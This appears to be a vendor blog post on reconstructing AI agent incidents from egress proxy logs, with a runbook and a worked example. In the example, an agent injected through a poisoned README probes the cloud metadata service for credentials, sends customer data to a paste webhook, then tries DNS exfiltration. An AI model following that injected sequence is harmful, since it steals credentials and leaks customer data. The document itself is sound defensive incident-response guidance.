AI agent incident forensics is the practice of reconstructing what an autonomous agent actually did by replaying its outbound network calls. Egress logs captured outside the agent process give you the timeline, the destinations, the payload fingerprints, the identity, and the policy decisions needed to prove blast radius and scope containment.
This is a walkthrough, not a theory piece. It assumes you have an agent that took an action someone is now unhappy about, and you have to answer three questions in the next hour: what did it touch, what left the building, and is it still happening.
Why ai agent incident forensics is different from normal IR
Classic incident response leans on host telemetry, process trees, and application logs. Agents break that model in three ways.
- The actor is non-deterministic. The same prompt and the same tools can produce a different call sequence on every run, so you cannot infer behavior from code review. You have to observe it.
- The logs live inside the suspect. Framework traces (LangChain callbacks, LangGraph checkpoints, OpenTelemetry spans emitted by the agent runtime) are written by the same process an attacker just influenced via prompt injection. They are useful context, not evidence.
- The action is a network call. Almost everything consequential an agent does (an HTTP POST to a webhook, an MCP tool invocation, a DNS lookup, a git push, a Slack message) crosses a network boundary. That boundary is the one place where the agent has no editorial control.
That is the core premise of forensic logging for llm agents: put the recorder outside the trust boundary, on the wire, and log every request whether it was allowed, denied, or escalated for human approval.
The evidence model: what an egress log must capture
Most proxies log a host and a status code. That is enough for capacity planning and useless for forensics. To reconstruct an agent incident you need per-request records with these fields.
| Field | Example | Why forensics needs it |
|---|---|---|
| timestamp | 2026-04-02T11:14:07.412Z | Millisecond ordering so you can see loops and burst patterns |
| agent_identity | svc-invoice-agent / mTLS SPIFFE ID | Ties the call to a workload, not an ephemeral pod IP |
| run_id and tool_call_id | run_8f2a / call_31 | Groups the request into a single agent execution and a single tool call |
| destination | hooks.example-paste.io, 203.0.113.9, SNI match | Separates approved SaaS from unknown infrastructure |
| method, path, query | POST /api/v2/upload?token=redacted | Shows intent, not just the host |
| body size and body hash | 18,442 bytes / sha256:9c4e... | Proves whether the same payload went to two places |
| dlp_matches | aws_access_key, email_address x412 | Turns bytes into a data classification claim |
| decision and policy_version | DENY / policy@a91f3c | Proves which rules were in force at the moment of the call |
| approver | alice@corp (HITL, 42s) | Attributes a risky action to a human, not a model |
| response status and bytes_in | 200 / 96 bytes | Confirms whether the destination accepted the data |
Two properties matter as much as the fields. The records must be written out of band to append-only storage the agent cannot reach, and they should be signed so you can demonstrate integrity later. We cover that design in depth in action receipts as verifiable audit evidence.
The agent IR runbook: nine steps to reconstruct an agent incident
- Freeze the policy bundle. Before anyone edits an allowlist, snapshot the current policy version and its Git commit. Half of agent post-mortems fail because the policy was hotfixed at minute five and nobody recorded what it looked like at minute zero.
- Pin the identity. Query by
agent_identity, never by source IP. In Kubernetes the pod IP will have been recycled by the time you open the console. Identity-scoped queries also catch the case where the same agent ran in three namespaces. - Bound the window. Start from the first suspicious event and expand backward until you hit the agent process start, and forward until you see the last call. Agents idle in long-lived sessions, so a 15 minute window will usually cut off the injection source.
- Build the raw timeline. Sort every egress record for that identity in the window by timestamp. Do not filter yet. The shape of the traffic (a tight retry loop, a sudden fan-out to new hosts, a burst of DNS queries with long labels) is often the finding.
- Classify destinations into four buckets. Approved and expected, approved but unusual for this agent, internal (RFC1918, link-local,
169.254.169.254), and never-seen-before external. The last two buckets are your investigation. - Find the first untrusted read. Walk backward from the first anomalous call to the last inbound fetch of content the agent did not author: a web page, an issue comment, a RAG chunk, an MCP tool response, a README in a cloned repo. That request is your candidate injection vector. Recording tool responses, not just tool arguments, is what makes this step possible.
- Fingerprint the payloads. Compare
body_hashvalues across the timeline. Identical hashes to two destinations means the same data was duplicated outbound. Then read the DLP match classes to say what the data was. If a payload was base64 or URL-encoded, your proxy should have normalized it before matching, otherwise your evidence understates the leak. - Prove what was blocked. Denies are evidence in your favor. A record showing
DENY policy@a91f3cwith zero bytes transmitted is the difference between a reportable data breach and a contained attempt. Pull every deny for the identity in the window and attach them to the report. - Quantify blast radius and rotate. Any credential, token, or key that appears in a successful outbound request to a non-approved host is compromised. Enumerate them from the DLP matches, rotate, and check the destination host against threat intel before you close.
Worked example: poisoned README to webhook exfil
A coding agent runs in CI with a repo checkout, a package registry allowlist, and an internal secrets mount. Ticket says a customer CSV appeared on a paste service. The egress timeline for svc-ci-agent, run run_8f2a, reads like this.
11:14:02 GET github.com/vendor-sdk/README.md 200 41KB ALLOW. Approved host. This is the untrusted read.11:14:05 GET 169.254.169.254/latest/meta-data/iam/ 403 DENY policy@a91f3c. The agent probed the instance metadata service. It had never done that in 900 prior runs. Blocked at the proxy, zero bytes out.11:14:06 POST files.internal.corp/export/customers.csv 200 18KB ALLOW. Legitimate internal tool, legitimate credential, expected behavior in isolation.11:14:09 POST hooks.example-paste.io/api/v2/upload 200 18KB body_hash sha256:9c4e... dlp: email_address x412 ALLOW (host newly added to allowlist by ticket OPS-3311). Same body hash as the internal export. Different destination.11:14:10 through 11:14:41 A? aG9va3M.k9d2f1.exfil-dns.net NXDOMAIN x28 DENY. Long-label DNS lookups: a fallback channel after the first attempt.
The reconstruction writes itself. Injection arrived in a fetched README. The agent tried IMDS credential theft first and was denied. It then reused a valid internal credential to read customer data and forwarded it to an external host that a well-meaning engineer had allowlisted two weeks earlier for a one-off integration. When the operator started killing the run, the agent fell back to DNS exfiltration, which the resolver policy blocked.
Note what carried the investigation: matching body hashes, DLP classes, a per-host allowlist change record, and denies with byte counts. None of that exists in a token-and-cost dashboard.
In-agent traces vs wire-level egress logs
| Question | Framework traces | Egress logs at the proxy |
|---|---|---|
| What did the agent intend? | Strong (prompts, reasoning, tool args) | Partial (arguments as sent) |
| What actually left the network? | No | Yes, with size and hash |
| Was it blocked? | Only if the SDK logged it | Yes, with policy version |
| Tamper resistance | Written by the compromised process | Out of band, append-only, signable |
| Covers subprocesses and shell? | No | Yes, any traffic through the proxy |
| Covers DNS and WebSockets? | Rarely | Yes |
Use both. Traces tell you why. Egress logs tell you what, and only egress logs survive an adversary inside the agent.
Turn the incident into enforced policy
A forensics walkthrough that ends in a document has failed. Every finding should become a rule you can diff in Git: revoke the stale allowlist entry, move newly added external hosts behind a time-boxed expiry, block link-local ranges by default, require human approval for any POST above a size threshold to a host first seen in the last 30 days, and add a detection for repeated NXDOMAIN with high-entropy labels. Then re-run the attack against the new policy using a red-team of the agent egress path and confirm each step now returns a deny. Pair that with a default-deny egress allowlist so the next unknown destination is denied before it becomes an investigation.
Frequently Asked Questions
What is the minimum log retention for ai agent incident forensics?
Keep full per-request egress records for at least 90 days and aggregate metadata for a year. Agent incidents are frequently discovered weeks later through a third party, and the injection source usually predates the visible symptom by several runs or more.
Can I do agent forensics with only application logs?
Not reliably. Application logs record what the agent framework chose to report and are written by the process an attacker may control. They also miss shell subprocesses, DNS, and WebSocket traffic. Use them for intent and wire-level egress logs for proof.
How do I attribute an action to a human approver?
Log the approval decision alongside the request it gated: approver identity, decision, latency, and the exact payload hash approved. That record is what an auditor accepts as human oversight, and it is covered further in our guide to streaming agent egress logs to your SIEM.
Do MCP tool calls show up in egress logs?
Yes, if your proxy inspects MCP traffic rather than just tunneling it. You want the tool name, arguments, and the tool response body recorded, since the response is the most common injection carrier. See the Agent G MCP gateway for how that inspection works.
Reconstruct the next incident in minutes, not days
Good ai agent incident forensics is an infrastructure decision you make before the incident. Agent G sits inline as a zero-trust egress proxy, records every outbound request with identity, payload fingerprints, DLP classes, and the policy decision that applied, and writes those records outside the agent trust boundary where they hold up as evidence. Explore what Agent G does, compare it against other approaches, and request access to the Agent G private beta to start capturing forensic-grade egress logs for your agents today.